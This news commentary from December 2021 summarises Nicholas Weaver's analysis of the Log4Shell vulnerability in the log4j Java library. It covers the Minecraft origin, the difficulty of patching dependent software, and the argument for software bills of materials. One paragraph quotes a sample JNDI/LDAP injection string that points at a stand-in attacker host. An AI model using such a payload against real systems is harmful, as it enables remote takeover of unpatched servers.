PERSPECTIVE: Cybersecurity NightmareWhat's the Deal with the Log4Shell Security Nightmare?

Published 11 December 2021

What started out as a Minecraft prank, has now resulted in a 5-alarm security panic as administrators and developers around the world desperately try to fix and patch systems before the cryptocurrency miners, ransomware attackers and nation-state adversaries rush to exploit thousands of software packages. Nicholas Weaver writes that “Not only does the vulnerability affect thousands of programs but the exploitation of this vulnerability is very straightforward.  Attackers are already starting to launch widespread attacks.  Further compounding the problem is the huge diversity of vulnerable systems, so those responsible for defending systems are going to have a very bad Christmas.”

What started out as a Minecraft prank, where a message in chat like ${jndi:ldap://attacker.com/pwnyourserver} would take over either a Minecraft server or client, has now resulted in a5-alarm security panic as administrators and developers around the world desperately try to fix and patch systems before the cryptocurrency miners, ransomware attackers and nation-state adversaries rush to exploit thousands of software packages.  

Nicholas Weaver writes in Lawfare that On 9 December, Chen Zhaojun of Alibaba Cloud Security Team discovered, tweeted out and released sample code for a vulnerability, now dubbed log4shell, in a very common Java library called log4j used by thousands of projects.  “Any project using log4j is potentially vulnerable.  The vulnerability was first discovered on Minecraft and thought to involve only the gaming platform but quick exploration revealed that the vulnerability potentially affects any software using this library,” Weaver writes, adding:

Not only does the vulnerability affect thousands of programs but the exploitation of this vulnerability is very straightforward.  Attackers are already starting to launch widespread attacks.  Further compounding the problem is the huge diversity of vulnerable systems, so those responsible for defending systems are going to have a very bad Christmas.

Dealing with Log4Shell will  not be easy or simple:

The problem is in getting patches out to a huge number of projects. It’s an easy-to-exploit vulnerability that it was also (almost) easily patched, notwithstanding the fact that the initial patch didn’t work correctly. But since log4j is a library used in manyprojects, these projects all need to be updated to incorporate the patch, or else they will be vulnerable to exploitation. And a programmer might not even know that this vulnerability exists in their code because they might be using some other library that depends on the log4j library.  

So it isn’t a matter of patching one program but patching potentially thousands, and at least some programs won’t be patchable until code they depend on is first patched.

Weaver writes that there is often talk about the need for a software bill of materials (SBOM) in systems.  A SBOM is a machine-readable list of all external components including libraries, the libraries used by those libraries, and so-on.  A recent executive order, in fact, mandated SBOMs for government purchased systems. 

The federal government is using its market power to get SBOMs as a widely adopted practice among software. This vulnerability represents a clear case demonstrating why a SBOM should be a critical requirement: having a SBOM that includes a reference to log4j version 2.14.1 is a clear indication that a larger software system contains this vulnerability. 

Weaver concludes with a timely reminder:

A lot of system administrators just saw their weekends ruined. So please have sympathy for them. This is a real crisis, and if it doesn’t explode in all of our faces it will be the result of the hard work of many individuals and groups around the world working frantically to mitigate this problem.